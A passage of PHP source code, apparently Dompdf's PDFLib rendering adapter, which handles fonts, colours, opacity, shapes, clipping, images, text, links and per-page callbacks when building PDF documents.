        "times"                 => "Times-Roman",
        "times-roman"           => "Times-Roman",
        "times-bold"            => "Times-Bold",
        "times-italic"          => "Times-Italic",
        "times-bolditalic"      => "Times-BoldItalic",
        "symbol"                => "Symbol",
        "zapfdinbats"           => "ZapfDingbats",
        "zapfdingbats"          => "ZapfDingbats",
    ];

    /**
     * @var \Dompdf\Dompdf
     */
    protected $_dompdf;

    /**
     * Instance of PDFLib class
     *
     * @var \PDFLib
     */
    protected $_pdf;

    /**
     * Name of temporary file used for PDFs created on disk
     *
     * @var string
     */
    protected $_file;

    /**
     * PDF width, in points
     *
     * @var float
     */
    protected $_width;

    /**
     * PDF height, in points
     *
     * @var float
     */
    protected $_height;

    /**
     * Last fill color used
     *
     * @var array
     */
    protected $_last_fill_color;

    /**
     * Last stroke color used
     *
     * @var array
     */
    protected $_last_stroke_color;

    /**
     * The current opacity level
     *
     * @var float|null
     */
    protected $_current_opacity;

    /**
     * Cache of image handles
     *
     * @var array
     */
    protected $_imgs;

    /**
     * Cache of font handles
     *
     * @var array
     */
    protected $_fonts;

    /**
     * Cache of fontFile checks
     *
     * @var array
     */
    protected $_fontsFiles;

    /**
     * List of objects (templates) to add to multiple pages
     *
     * @var array
     */
    protected $_objs;

    /**
     * List of gstate objects created for this PDF (for reuse)
     *
     * @var array
     */
    protected $_gstates = [];

    /**
     * Current page number
     *
     * @var int
     */
    protected $_page_number;

    /**
     * Total number of pages
     *
     * @var int
     */
    protected $_page_count;

    /**
     * Array of pages for accessing after rendering is initially complete
     *
     * @var array
     */
    protected $_pages;

    public function __construct($paper = "letter", string $orientation = "portrait", ?Dompdf $dompdf = null)
    {
        if (is_array($paper)) {
            $size = array_map("floatval", $paper);
        } else {
            $paper = strtolower($paper);
            $size = self::$PAPER_SIZES[$paper] ?? self::$PAPER_SIZES["letter"];
        }

        if (strtolower($orientation) === "landscape") {
            [$size[2], $size[3]] = [$size[3], $size[2]];
        }

        $this->_width = $size[2] - $size[0];
        $this->_height = $size[3] - $size[1];

        if ($dompdf === null) {
            $this->_dompdf = new Dompdf();
        } else {
            $this->_dompdf = $dompdf;
        }
        $options = $dompdf->getOptions();

        $this->_pdf = new \PDFLib();

        $license = $options->getPdflibLicense();
        if (strlen($license) > 0) {
            $this->setPDFLibParameter("license", $license);
        }

        if ($this->getPDFLibMajorVersion() < 10) {
            $this->setPDFLibParameter("textformat", "utf8");
        }
        if ($this->getPDFLibMajorVersion() >= 7) {
            $this->setPDFLibParameter("errorpolicy", "return");
            //            $this->_pdf->set_option('logging={filename=' . \APP_PATH . '/logs/pdflib.log classes={api=1 warning=2}}');
            //            $this->_pdf->set_option('errorpolicy=exception');
        } else {
            $this->setPDFLibParameter("fontwarning", "false");
        }

        $searchPath = [$options->getFontDir(), $options->getRootDir() . "/lib/fonts"];
        if (empty($searchPath) === false) {
            $this->_pdf->set_option('searchpath={{' . implode("} {", $searchPath) . '}}');
        }

        // fetch PDFLib version information for the producer field
        $this->_pdf->set_info("Producer Addendum", sprintf("%s + PDFLib %s", $dompdf->version, $this->getPDFLibMajorVersion()));

        // Silence pedantic warnings about missing TZ settings
        $tz = @date_default_timezone_get();
        date_default_timezone_set("UTC");
        $this->_pdf->set_info("Date", date("Y-m-d"));
        date_default_timezone_set($tz);

        if (self::$IN_MEMORY) {
            $this->_pdf->begin_document("", "");
        } else {
            $tmp_dir = $options->getTempDir();
            $tmp_name = @tempnam($tmp_dir, "libdompdf_pdf_");
            @unlink($tmp_name);
            $this->_file = "$tmp_name.pdf";
            $this->_pdf->begin_document($this->_file, "");
        }

        $this->_pdf->begin_page_ext($this->_width, $this->_height, "");

        $this->_page_number = $this->_page_count = 1;

        $this->_imgs = [];
        $this->_fonts = [];
        $this->_objs = [];
    }

    function get_dompdf()
    {
        return $this->_dompdf;
    }

    /**
     * Close the pdf
     */
    protected function _close()
    {
        $this->_place_objects();

        // Close all pages
        $this->_pdf->suspend_page("");
        for ($p = 1; $p <= $this->_page_count; $p++) {
            $this->_pdf->resume_page("pagenumber=$p");
            $this->_pdf->end_page_ext("");
        }

        $this->_pdf->end_document("");
    }


    /**
     * Returns the PDFLib instance
     *
     * @return PDFLib
     */
    public function get_pdflib()
    {
        return $this->_pdf;
    }

    public function add_info(string $label, string $value): void
    {
        $this->_pdf->set_info($label, $value);
    }

    /**
     * Opens a new 'object' (template in PDFLib-speak)
     *
     * While an object is open, all drawing actions are recorded to the
     * object instead of being drawn on the current page.  Objects can
     * be added later to a specific page or to several pages.
     *
     * The return value is an integer ID for the new object.
     *
     * @see PDFLib::close_object()
     * @see PDFLib::add_object()
     *
     * @return int
     */
    public function open_object()
    {
        $this->_pdf->suspend_page("");
        if ($this->getPDFLibMajorVersion() >= 7) {
            $ret = $this->_pdf->begin_template_ext($this->_width, $this->_height, "");
        } else {
            $ret = $this->_pdf->begin_template($this->_width, $this->_height);
        }
        $this->_pdf->save();
        $this->_objs[$ret] = ["start_page" => $this->_page_number];

        return $ret;
    }

    /**
     * Reopen an existing object (NOT IMPLEMENTED)
     * PDFLib does not seem to support reopening templates.
     *
     * @param int $object the ID of a previously opened object
     *
     * @throws Exception
     */
    public function reopen_object($object)
    {
        throw new Exception("PDFLib does not support reopening objects.");
    }

    /**
     * Close the current template
     *
     * @see PDFLib::open_object()
     */
    public function close_object()
    {
        $this->_pdf->restore();
        if ($this->getPDFLibMajorVersion() >= 7) {
            $this->_pdf->end_template_ext($this->_width, $this->_height);
        } else {
            $this->_pdf->end_template();
        }
        $this->_pdf->resume_page("pagenumber=" . $this->_page_number);
    }

    /**
     * Adds the specified object to the document
     *
     * $where can be one of:
     * - 'add' add to current page only
     * - 'all' add to every page from the current one onwards
     * - 'odd' add to all odd numbered pages from now on
     * - 'even' add to all even numbered pages from now on
     * - 'next' add the object to the next page only
     * - 'nextodd' add to all odd numbered pages from the next one
     * - 'nexteven' add to all even numbered pages from the next one
     *
     * @param int    $object the object handle returned by open_object()
     * @param string $where
     */
    public function add_object($object, $where = 'all')
    {

        if (mb_strpos($where, "next") !== false) {
            $this->_objs[$object]["start_page"]++;
            $where = str_replace("next", "", $where);
            if ($where == "") {
                $where = "add";
            }
        }

        $this->_objs[$object]["where"] = $where;
    }

    /**
     * Stops the specified template from appearing in the document.
     *
     * The object will stop being displayed on the page following the
     * current one.
     *
     * @param int $object
     */
    public function stop_object($object)
    {

        if (!isset($this->_objs[$object])) {
            return;
        }

        $start = $this->_objs[$object]["start_page"];
        $where = $this->_objs[$object]["where"];

        // Place the object on this page if required
        if ($this->_page_number >= $start &&
            (($this->_page_number % 2 == 0 && $where === "even") ||
                ($this->_page_number % 2 == 1 && $where === "odd") ||
                ($where === "all"))
        ) {
            $this->_pdf->fit_image($object, 0, 0, "");
        }

        $this->_objs[$object] = null;
        unset($this->_objs[$object]);
    }

    /**
     * Add all active objects to the current page
     */
    protected function _place_objects()
    {

        foreach ($this->_objs as $obj => $props) {
            $start = $props["start_page"];
            $where = $props["where"];

            // Place the object on this page if required
            if ($this->_page_number >= $start &&
                (($this->_page_number % 2 == 0 && $where === "even") ||
                    ($this->_page_number % 2 == 1 && $where === "odd") ||
                    ($where === "all"))
            ) {
                $this->_pdf->fit_image($obj, 0, 0, "");
            }
        }
    }

    public function get_width()
    {
        return $this->_width;
    }

    public function get_height()
    {
        return $this->_height;
    }

    public function get_page_number()
    {
        return $this->_page_number;
    }

    public function get_page_count()
    {
        return $this->_page_count;
    }

    /**
     * @param $num
     */
    public function set_page_number($num)
    {
        $this->_page_number = (int)$num;
    }

    public function set_page_count($count)
    {
        $this->_page_count = (int)$count;
    }

    /**
     * Sets the line style
     *
     * @param float  $width
     * @param string $cap
     * @param string $join
     * @param array  $dash
     */
    protected function _set_line_style($width, $cap, $join, $dash)
    {
        if (!is_array($dash)) {
            $dash = [];
        }

        // Work around PDFLib limitation with 0 dash length:
        // Value 0 for option 'dasharray' is too small (minimum 1.5e-05)
        foreach ($dash as &$d) {
            if ($d == 0) {
                $d = 1.5e-5;
            }
        }

        if (count($dash) === 1) {
            $dash[] = $dash[0];
        }

        if ($this->getPDFLibMajorVersion() >= 9) {
            if (count($dash) > 1) {
                $this->_pdf->set_graphics_option("dasharray={" . implode(" ", $dash) . "}");
            } else {
                $this->_pdf->set_graphics_option("dasharray=none");
            }
        } else {
            if (count($dash) > 1) {
                $this->_pdf->setdashpattern("dasharray={" . implode(" ", $dash) . "}");
            } else {
                $this->_pdf->setdash(0, 0);
            }
        }

        switch ($join) {
            case "miter":
                if ($this->getPDFLibMajorVersion() >= 9) {
                    $this->_pdf->set_graphics_option('linejoin=0');
                } else {
                    $this->_pdf->setlinejoin(0);
                }
                break;

            case "round":
                if ($this->getPDFLibMajorVersion() >= 9) {
                    $this->_pdf->set_graphics_option('linejoin=1');
                } else {
                    $this->_pdf->setlinejoin(1);
                }
                break;

            case "bevel":
                if ($this->getPDFLibMajorVersion() >= 9) {
                    $this->_pdf->set_graphics_option('linejoin=2');
                } else {
                    $this->_pdf->setlinejoin(2);
                }
                break;

            default:
                break;
        }

        switch ($cap) {
            case "butt":
                if ($this->getPDFLibMajorVersion() >= 9) {
                    $this->_pdf->set_graphics_option('linecap=0');
                } else {
                    $this->_pdf->setlinecap(0);
                }
                break;

            case "round":
                if ($this->getPDFLibMajorVersion() >= 9) {
                    $this->_pdf->set_graphics_option('linecap=1');
                } else {
                    $this->_pdf->setlinecap(1);
                }
                break;

            case "square":
                if ($this->getPDFLibMajorVersion() >= 9) {
                    $this->_pdf->set_graphics_option('linecap=2');
                } else {
                    $this->_pdf->setlinecap(2);
                }
                break;

            default:
                break;
        }

        $this->_pdf->setlinewidth($width);
    }

    /**
     * Sets the line color
     *
     * @param array $color array(r,g,b)
     */
    protected function _set_stroke_color($color)
    {
        // TODO: we should check the current PDF stroke color
        // instead of the cached value
        if ($this->_last_stroke_color == $color) {
            // FIXME: do nothing, this optimization is broken by the
            // stroke being set as a side effect of other operations
            //return;
        }

        $alpha = isset($color["alpha"]) ? $color["alpha"] : 1;
        if (isset($this->_current_opacity)) {
            $alpha *= $this->_current_opacity;
        }

        $this->_last_stroke_color = $color;

        if (isset($color[3])) {
            $type = "cmyk";
            list($c1, $c2, $c3, $c4) = [$color[0], $color[1], $color[2], $color[3]];
        } elseif (isset($color[2])) {
            $type = "rgb";
            list($c1, $c2, $c3, $c4) = [$color[0], $color[1], $color[2], 0];
        } else {
            $type = "gray";
            list($c1, $c2, $c3, $c4) = [$color[0], $color[1], 0, 0];
        }

        $this->_set_stroke_opacity($alpha, "Normal");
        $this->_pdf->setcolor("stroke", $type, $c1, $c2, $c3, $c4);
    }

    /**
     * Sets the fill color
     *
     * @param array $color array(r,g,b)
     */
    protected function _set_fill_color($color)
    {
        // TODO: we should check the current PDF fill color
        // instead of the cached value
        if ($this->_last_fill_color == $color) {
            // FIXME: do nothing, this optimization is broken by the
            // fill being set as a side effect of other operations
            //return;
        }

        $alpha = isset($color["alpha"]) ? $color["alpha"] : 1;
        if (isset($this->_current_opacity)) {
            $alpha *= $this->_current_opacity;
        }

        $this->_last_fill_color = $color;

        if (isset($color[3])) {
            $type = "cmyk";
            list($c1, $c2, $c3, $c4) = [$color[0], $color[1], $color[2], $color[3]];
        } elseif (isset($color[2])) {
            $type = "rgb";
            list($c1, $c2, $c3, $c4) = [$color[0], $color[1], $color[2], 0];
        } else {
            $type = "gray";
            list($c1, $c2, $c3, $c4) = [$color[0], $color[1], 0, 0];
        }

        $this->_set_fill_opacity($alpha, "Normal");
        $this->_pdf->setcolor("fill", $type, $c1, $c2, $c3, $c4);
    }

    /**
     * Sets the fill opacity
     *
     * @param float  $opacity
     * @param string $mode
     */
    public function _set_fill_opacity($opacity, $mode = "Normal")
    {
        if ($mode === "Normal" && isset($opacity)) {
            $this->_set_gstate("opacityfill=$opacity");
        }
    }

    /**
     * Sets the stroke opacity
     *
     * @param float  $opacity
     * @param string $mode
     */
    public function _set_stroke_opacity($opacity, $mode = "Normal")
    {
        if ($mode === "Normal" && isset($opacity)) {
            $this->_set_gstate("opacitystroke=$opacity");
        }
    }

    public function set_opacity(float $opacity, string $mode = "Normal"): void
    {
        if ($mode === "Normal") {
            $this->_set_gstate("opacityfill=$opacity opacitystroke=$opacity");
            $this->_current_opacity = $opacity;
        }
    }

    /**
     * Sets the gstate
     *
     * @param $gstate_options
     * @return int
     */
    public function _set_gstate($gstate_options)
    {
        if (($gstate = array_search($gstate_options, $this->_gstates)) === false) {
            $gstate = $this->_pdf->create_gstate($gstate_options);
            $this->_gstates[$gstate] = $gstate_options;
        }

        return $this->_pdf->set_gstate($gstate);
    }

    public function set_default_view($view, $options = [])
    {
        // TODO
        // http://www.pdflib.com/fileadmin/pdflib/pdf/manuals/PDFlib-8.0.2-API-reference.pdf
        /**
         * fitheight Fit the page height to the window, with the x coordinate left at the left edge of the window.
         * fitrect Fit the rectangle specified by left, bottom, right, and top to the window.
         * fitvisible Fit the visible contents of the page (the ArtBox) to the window.
         * fitvisibleheight Fit the visible contents of the page to the window with the x coordinate left at the left edge of the window.
         * fitvisiblewidth Fit the visible contents of the page to the window with the y coordinate top at the top edge of the window.
         * fitwidth Fit the page width to the window, with the y coordinate top at the top edge of the window.
         * fitwindow Fit the complete page to the window.
         * fixed
         */
        //$this->setPDFLibParameter("openaction", $view);
    }

    /**
     * Loads a specific font and stores the corresponding descriptor.
     *
     * @param string $font
     * @param string $encoding
     * @param string $options
     *
     * @return int the font descriptor for the font
     */
    protected function _load_font($font, $encoding = null, $options = "")
    {
        // Fix for PDFLib's case-sensitive font names
        $baseFont = basename($font);
        $isNativeFont = false;
        $lcBaseFont = strtolower($baseFont);
        if (isset(self::$nativeFontsToPDFLib[$lcBaseFont])) {
            $baseFont = self::$nativeFontsToPDFLib[$lcBaseFont];
            $isNativeFont = true;
        }

        // Embed non-native fonts
        if (!$isNativeFont) {
            $options .= " embedding=true";
        }

        $options .= " autosubsetting=" . ($this->_dompdf->getOptions()->getIsFontSubsettingEnabled() === false ? "false" : "true");

        if (is_null($encoding)) {
            // Unicode encoding is only available for the commerical
            // version of PDFlib and not PDFlib-Lite
            if (strlen($this->_dompdf->getOptions()->getPdflibLicense()) > 0) {
                $encoding = "unicode";
            } else {
                $encoding = "auto";
            }
        }

        $key = "$font:$encoding:$options";
        if (isset($this->_fonts[$key])) {
            return $this->_fonts[$key];
        }

        // Native fonts are build in, just load it
        if ($isNativeFont) {
            $this->_fonts[$key] = $this->_pdf->load_font($baseFont, $encoding, $options);
            return $this->_fonts[$key];
        }

        $fontOutline = $this->getPDFLibParameter("FontOutline", 1);
        if ($fontOutline === "" || $fontOutline < 0) {
            $families = $this->_dompdf->getFontMetrics()->getFontFamilies();
            foreach ($families as $files) {
                foreach ($files as $file) {
                    $face = basename($file);
                    $afm = null;

                    if (isset($this->_fontsFiles[$face])) {
                        continue;
                    }

                    // Prefer ttfs to afms
                    if (file_exists("$file.ttf")) {
                        $outline = "$file.ttf";
                    } elseif (file_exists("$file.TTF")) {
                        $outline = "$file.TTF";
                    } elseif (file_exists("$file.pfb")) {
                        $outline = "$file.pfb";
                        if (file_exists("$file.afm")) {
                            $afm = "$file.afm";
                        }
                    } elseif (file_exists("$file.PFB")) {
                        $outline = "$file.PFB";
                        if (file_exists("$file.AFM")) {
                            $afm = "$file.AFM";
                        }
                    } else {
                        continue;
                    }

                    $this->_fontsFiles[$face] = true;

                    if ($this->getPDFLibMajorVersion() >= 9) {
                        $this->setPDFLibParameter("FontOutline", '{' . "$face=$outline" . '}');
                    } else {
                        $this->setPDFLibParameter("FontOutline", "\{$face\}=\{$outline\}");
                    }

                    if (is_null($afm)) {
                        continue;
                    }
                    if ($this->getPDFLibMajorVersion() >= 9) {
                        $this->setPDFLibParameter("FontAFM", '{' . "$face=$afm" . '}');
                    } else {
                        $this->setPDFLibParameter("FontAFM", "\{$face\}=\{$afm\}");
                    }
                }
            }
        }

        $this->_fonts[$key] = $this->_pdf->load_font($baseFont, $encoding, $options);

        return $this->_fonts[$key];
    }

    /**
     * Remaps y coords from 4th to 1st quadrant
     *
     * @param float $y
     * @return float
     */
    protected function y($y)
    {
        return $this->_height - $y;
    }

    public function line($x1, $y1, $x2, $y2, $color, $width, $style = [], $cap = "butt")
    {
        $this->_set_line_style($width, $cap, "", $style);
        $this->_set_stroke_color($color);

        $y1 = $this->y($y1);
        $y2 = $this->y($y2);

        $this->_pdf->moveto($x1, $y1);
        $this->_pdf->lineto($x2, $y2);
        $this->_pdf->stroke();

        $this->_set_stroke_opacity($this->_current_opacity, "Normal");
    }

    public function arc($x, $y, $r1, $r2, $astart, $aend, $color, $width, $style = [], $cap = "butt")
    {
        $this->_set_line_style($width, $cap, "", $style);
        $this->_set_stroke_color($color);

        $y = $this->y($y);

        $this->_pdf->arc($x, $y, $r1, $astart, $aend);
        $this->_pdf->stroke();

        $this->_set_stroke_opacity($this->_current_opacity, "Normal");
    }

    public function rectangle($x1, $y1, $w, $h, $color, $width, $style = [], $cap = "butt")
    {
        $this->_set_stroke_color($color);
        $this->_set_line_style($width, $cap, "", $style);

        $y1 = $this->y($y1) - $h;

        $this->_pdf->rect($x1, $y1, $w, $h);
        $this->_pdf->stroke();

        $this->_set_stroke_opacity($this->_current_opacity, "Normal");
    }

    public function filled_rectangle($x1, $y1, $w, $h, $color)
    {
        $this->_set_fill_color($color);

        $y1 = $this->y($y1) - $h;

        $this->_pdf->rect(floatval($x1), floatval($y1), floatval($w), floatval($h));
        $this->_pdf->fill();

        $this->_set_fill_opacity($this->_current_opacity, "Normal");
    }

    public function clipping_rectangle($x1, $y1, $w, $h)
    {
        $this->_pdf->save();

        $y1 = $this->y($y1) - $h;

        $this->_pdf->rect(floatval($x1), floatval($y1), floatval($w), floatval($h));
        $this->_pdf->clip();
    }

    public function clipping_roundrectangle($x1, $y1, $w, $h, $rTL, $rTR, $rBR, $rBL)
    {
        if ($this->getPDFLibMajorVersion() < 9) {
            $this->clipping_rectangle($x1, $y1, $w, $h);
            return;
        }

        $this->_pdf->save();

        // we use 0,0 for the base coordinates for the path points
        // since we're drawing the path at the $x1,$y1 coordinates

        $path = 0;
        //start: left edge, top end
        $path = $this->_pdf->add_path_point($path, 0, 0 - $rTL + $h, "move", "");
        // line: left edge, bottom end
        $path = $this->_pdf->add_path_point($path, 0, 0 + $rBL, "line", "");
        // curve: bottom-left corner
        if ($rBL > 0) {
            $path = $this->_pdf->add_path_point($path, 0 + $rBL, 0, "elliptical", "radius=$rBL clockwise=false");
        }
        // line: bottom edge, left end
        $path = $this->_pdf->add_path_point($path, 0 - $rBR + $w, 0, "line", "");
        // curve: bottom-right corner
        if ($rBR > 0) {
            $path = $this->_pdf->add_path_point($path, 0 + $w, 0 + $rBR, "elliptical", "radius=$rBR clockwise=false");
        }
        // line: right edge, top end
        $path = $this->_pdf->add_path_point($path, 0 + $w, 0 - $rTR + $h, "line", "");
        // curve: top-right corner
        if ($rTR > 0) {
            $path = $this->_pdf->add_path_point($path, 0 - $rTR + $w, 0 + $h, "elliptical", "radius=$rTR clockwise=false");
        }
        // line: top edge, left end
        $path = $this->_pdf->add_path_point($path, 0 + $rTL, 0 + $h, "line", "");
        // curve: top-left corner
        if ($rTL > 0) {
            $path = $this->_pdf->add_path_point($path, 0, 0 - $rTL + $h, "elliptical", "radius=$rTL clockwise=false");
        }
        $this->_pdf->draw_path($path, $x1, $this->_height-$y1-$h, "clip=true");
    }

    public function clipping_polygon(array $points): void
    {
        $this->_pdf->save();

        $y = $this->y(array_pop($points));
        $x = array_pop($points);
        $this->_pdf->moveto($x, $y);

        while (count($points) > 1) {
            $y = $this->y(array_pop($points));
            $x = array_pop($points);
            $this->_pdf->lineto($x, $y);
        }

        $this->_pdf->closepath();
        $this->_pdf->clip();
    }

    public function clipping_end()
    {
        $this->_pdf->restore();
    }

    public function save()
    {
        $this->_pdf->save();
    }

    function restore()
    {
        $this->_pdf->restore();
    }

    public function rotate($angle, $x, $y)
    {
        $pdf = $this->_pdf;
        $pdf->translate($x, $this->_height - $y);
        $pdf->rotate(-$angle);
        $pdf->translate(-$x, -$this->_height + $y);
    }

    public function skew($angle_x, $angle_y, $x, $y)
    {
        $pdf = $this->_pdf;
        $pdf->translate($x, $this->_height - $y);
        $pdf->skew($angle_y, $angle_x); // Needs to be inverted
        $pdf->translate(-$x, -$this->_height + $y);
    }

    public function scale($s_x, $s_y, $x, $y)
    {
        $pdf = $this->_pdf;
        $pdf->translate($x, $this->_height - $y);
        $pdf->scale($s_x, $s_y);
        $pdf->translate(-$x, -$this->_height + $y);
    }

    public function translate($t_x, $t_y)
    {
        $this->_pdf->translate($t_x, -$t_y);
    }

    public function transform($a, $b, $c, $d, $e, $f)
    {
        $this->_pdf->concat($a, $b, $c, $d, $e, $f);
    }

    public function polygon($points, $color, $width = null, $style = [], $fill = false)
    {
        $this->_set_fill_color($color);
        $this->_set_stroke_color($color);

        if (!$fill && isset($width)) {
            $this->_set_line_style($width, "square", "miter", $style);
        }

        $y = $this->y(array_pop($points));
        $x = array_pop($points);
        $this->_pdf->moveto($x, $y);

        while (count($points) > 1) {
            $y = $this->y(array_pop($points));
            $x = array_pop($points);
            $this->_pdf->lineto($x, $y);
        }

        if ($fill) {
            $this->_pdf->fill();
        } else {
            $this->_pdf->closepath_stroke();
        }

        $this->_set_fill_opacity($this->_current_opacity, "Normal");
        $this->_set_stroke_opacity($this->_current_opacity, "Normal");
    }

    public function circle($x, $y, $r, $color, $width = null, $style = [], $fill = false)
    {
        $this->_set_fill_color($color);
        $this->_set_stroke_color($color);

        if (!$fill && isset($width)) {
            $this->_set_line_style($width, "round", "round", $style);
        }

        $y = $this->y($y);

        $this->_pdf->circle($x, $y, $r);

        if ($fill) {
            $this->_pdf->fill();
        } else {
            $this->_pdf->stroke();
        }

        $this->_set_fill_opacity($this->_current_opacity, "Normal");
        $this->_set_stroke_opacity($this->_current_opacity, "Normal");
    }

    /**
     * Convert image to a PNG image
     *
     * @param string $image_url
     * @param string $type
     *
     * @return string|null The url of the newly converted image
     */
    protected function _convert_to_png($image_url, $type)
    {
        $filename = Cache::getTempImage($image_url);

        if ($filename !== null && file_exists($filename)) {
            return $filename;
        }
 
        $func_name = "imagecreatefrom$type";

        set_error_handler([Helpers::class, "record_warnings"]);

        if (method_exists(Helpers::class, $func_name)) {
            $func_name = [Helpers::class, $func_name];
        } elseif (!function_exists($func_name)) {
            throw new Exception("Function $func_name() not found.  Cannot convert $type image: $image_url.  Please install the image PHP extension.");
        }

        try {
            $im = call_user_func($func_name, $image_url);

            if ($im) {
                imageinterlace($im, false);

                $tmp_dir = $this->_dompdf->getOptions()->getTempDir();
                $tmp_name = @tempnam($tmp_dir, "{$type}_dompdf_img_");
                @unlink($tmp_name);
                $filename = "$tmp_name.png";

                imagepng($im, $filename);
                imagedestroy($im);
            } else {
                $filename = null;
            }
        } finally {
            restore_error_handler();
        }

        if ($filename !== null) {
            Cache::addTempImage($image_url, $filename);
        }

        return $filename;
    }

    public function image($img, $x, $y, $w, $h, $resolution = "normal")
    {
        $w = (int)$w;
        $h = (int)$h;

        $img_type = Cache::detect_type($img, $this->get_dompdf()->getHttpContext());

        // Strip file:// prefix
        if (substr($img, 0, 7) === "file://") {
            $img = substr($img, 7);
        }

        if (!isset($this->_imgs[$img])) {
            switch (strtolower($img_type)) {
                case "webp":
                    $img = $this->_convert_to_png($img, $img_type);
                    if ($img === null) {
                        $img = Cache::$broken_image;
                    }
                    $this->image($img, $x, $y, $w, $h, $resolution);
                    return;
                case "gif":
                    if ($this->getPDFLibMajorVersion() >= 10) {
                        $img = $this->_convert_to_png($img, $img_type);
                        if ($img === null) {
                            $img = Cache::$broken_image;
                        }
                        $this->image($img, $x, $y, $w, $h, $resolution);
                        return;
                    }
                case "bmp":
                /** @noinspection PhpMissingBreakStatementInspection */
                case "jpeg":
                /** @noinspection PhpMissingBreakStatementInspection */
                case "png":
                    $image_load_response = $this->_pdf->load_image($img_type, $img, "");
                    break;
                case "svg":
                    $image_load_response = $this->_pdf->load_graphics($img_type, $img, "");
                    break;
                default:
                    // not handled
                    $this->image(Cache::$broken_image, $x, $y, $w, $h, $resolution);
                    return;
            }
            if ($image_load_response === 0) {
                //TODO: should do something with the error message
                $error = $this->_pdf->get_errmsg();
                return;
            }
            $this->_imgs[$img] = $image_load_response;
        }

        $img = $this->_imgs[$img];

        $y = $this->y($y) - $h;
        if (strtolower($img_type) === "svg") {
            $this->_pdf->fit_graphics($img, $x, $y, 'boxsize={' . "$w $h" . '} fitmethod=entire');
        } else {
            $this->_pdf->fit_image($img, $x, $y, 'boxsize={' . "$w $h" . '} fitmethod=entire');
        }
    }

    public function text($x, $y, $text, $font, $size, $color = [0, 0, 0], $word_spacing = 0, $char_spacing = 0, $angle = 0)
    {
        if ($size == 0) {
            return;
        }

        $fh = $this->_load_font($font);

        $this->_pdf->setfont($fh, $size);
        $this->_set_fill_color($color);

        $y = $this->y($y) - $this->get_font_height($font, $size);

        $word_spacing = (float)$word_spacing;
        $char_spacing = (float)$char_spacing;
        $angle = -(float)$angle;

        $this->_pdf->fit_textline($text, $x, $y, "rotate=$angle wordspacing=$word_spacing charspacing=$char_spacing ");

        $this->_set_fill_opacity($this->_current_opacity, "Normal");
    }

    public function javascript($code)
    {
        if (strlen($this->_dompdf->getOptions()->getPdflibLicense()) > 0) {
            $this->_pdf->create_action("JavaScript", $code);
        }
    }

    public function add_named_dest($anchorname)
    {
        $this->_pdf->add_nameddest($anchorname, "");
    }

    public function add_link($url, $x, $y, $width, $height)
    {
        $y = $this->y($y) - $height;
        if (strpos($url, '#') === 0) {
            // Local link
            $name = substr($url, 1);
            if ($name) {
                $this->_pdf->create_annotation($x, $y, $x + $width, $y + $height, 'Link',
                    "contents={$url} destname=" . substr($url, 1) . " linewidth=0");
            }
        } else {
            //TODO: PDFLib::create_action does not permit non-HTTP links for URI actions
            $action = $this->_pdf->create_action("URI", "url={{$url}}");
            // add the annotation only if the action was created
            if ($action !== 0) {
                $this->_pdf->create_annotation($x, $y, $x + $width, $y + $height, 'Link', "contents={{$url}} action={activate=$action} linewidth=0");
            }
        }
    }

    public function font_supports_char(string $font, string $char): bool
    {
        if ($char === "") {
            return true;
        }

        $fh = $this->_load_font($font);
        if ($fh === 0) {
            return false;
        }
        $this->_pdf->setfont($fh, 10);

        // unicode character glyph id lookup supports both the character and the unicode ordinal value
        // because some characters can not be specified directly we'll specify the ordinal for all characters
        // known problematic characters: "{", "}", " ", "=", "\u{feff}"
        $char_code = Helpers::uniord($char, "UTF-8");
        $options = "unicode=$char_code";
        $glyphid = (int) $this->_pdf->info_font($fh, "glyphid", $options);

        return $glyphid !== -1;
    }

    public function get_text_width($text, $font, $size, $word_spacing = 0.0, $letter_spacing = 0.0)
    {
        if ($size == 0) {
            return 0.0;
        }

        $fh = $this->_load_font($font);

        // Determine the additional width due to extra spacing
        $num_spaces = mb_substr_count($text, " ");
        $delta = $word_spacing * $num_spaces;

        if ($letter_spacing) {
            $num_chars = mb_strlen($text);
            $delta += $num_chars * $letter_spacing;
        }

        return $this->_pdf->stringwidth($text, $fh, $size) + $delta;
    }

    public function get_font_height($font, $size)
    {
        if ($size == 0) {
            return 0.0;
        }

        $fh = $this->_load_font($font);

        $this->_pdf->setfont($fh, $size);

        $asc = $this->_pdf->info_font($fh, "ascender", "fontsize=$size");
        $desc = $this->_pdf->info_font($fh, "descender", "fontsize=$size");

        // $desc is usually < 0,
        $ratio = $this->_dompdf->getOptions()->getFontHeightRatio();

        return (abs($asc) + abs($desc)) * $ratio;
    }

    public function get_font_baseline($font, $size)
    {
        $ratio = $this->_dompdf->getOptions()->getFontHeightRatio();

        return $this->get_font_height($font, $size) / $ratio * 1.1;
    }

    /**
     * Processes a callback or script on every page.
     *
     * The callback function receives the four parameters `int $pageNumber`,
     * `int $pageCount`, `Canvas $canvas`, and `FontMetrics $fontMetrics`, in
     * that order. If a script is passed as string, the variables `$PAGE_NUM`,
     * `$PAGE_COUNT`, `$pdf`, and `$fontMetrics` are available instead. Passing
     * a script as string is deprecated and will be removed in a future version.
     *
     * This function can be used to add page numbers to all pages after the
     * first one, for example.
     *
     * @param callable|string $callback The callback function or PHP script to process on every page
     */
    public function page_script($callback): void
    {
        if (is_string($callback)) {
            $this->processPageScript(function (
                int $PAGE_NUM,
                int $PAGE_COUNT,
                self $pdf,
                FontMetrics $fontMetrics
            ) use ($callback) {
                eval($callback);
            });
            return;
        }

        $this->processPageScript($callback);
    }

    public function page_text($x, $y, $text, $font, $size, $color = [0, 0, 0], $word_space = 0.0, $char_space = 0.0, $angle = 0.0)
    {
        $this->processPageScript(function (int $pageNumber, int $pageCount) use ($x, $y, $text, $font, $size, $color, $word_space, $char_space, $angle) {
            $text = str_replace(
                ["{PAGE_NUM}", "{PAGE_COUNT}"],
                [$pageNumber, $pageCount],
                $text
            );
            $this->text($x, $y, $text, $font, $size, $color, $word_space, $char_space, $angle);
        });
    }

    public function page_line($x1, $y1, $x2, $y2, $color, $width, $style = [])
    {
        $this->processPageScript(function () use ($x1, $y1, $x2, $y2, $color, $width, $style) {
            $this->line($x1, $y1, $x2, $y2, $color, $width, $style);
        });
    }

    public function new_page()
    {
        // Add objects to the current page
        $this->_place_objects();

        $this->_pdf->suspend_page("");
        $this->_pdf->begin_page_ext($this->_width, $this->_height, "");
        $this->_page_number = ++$this->_page_count;
    }

    protected function processPageScript(callable $callback): void
    {
        $this->_pdf->suspend_page("");

        for ($p = 1; $p <= $this->_page_count; $p++) {
            $this->_pdf->resume_page("pagenumber=$p");

            $fontMetrics = $this->_dompdf->getFontMetrics();
            $callback($p, $this->_page_count, $this, $fontMetrics);

            $this->_pdf->suspend_page("");
        }

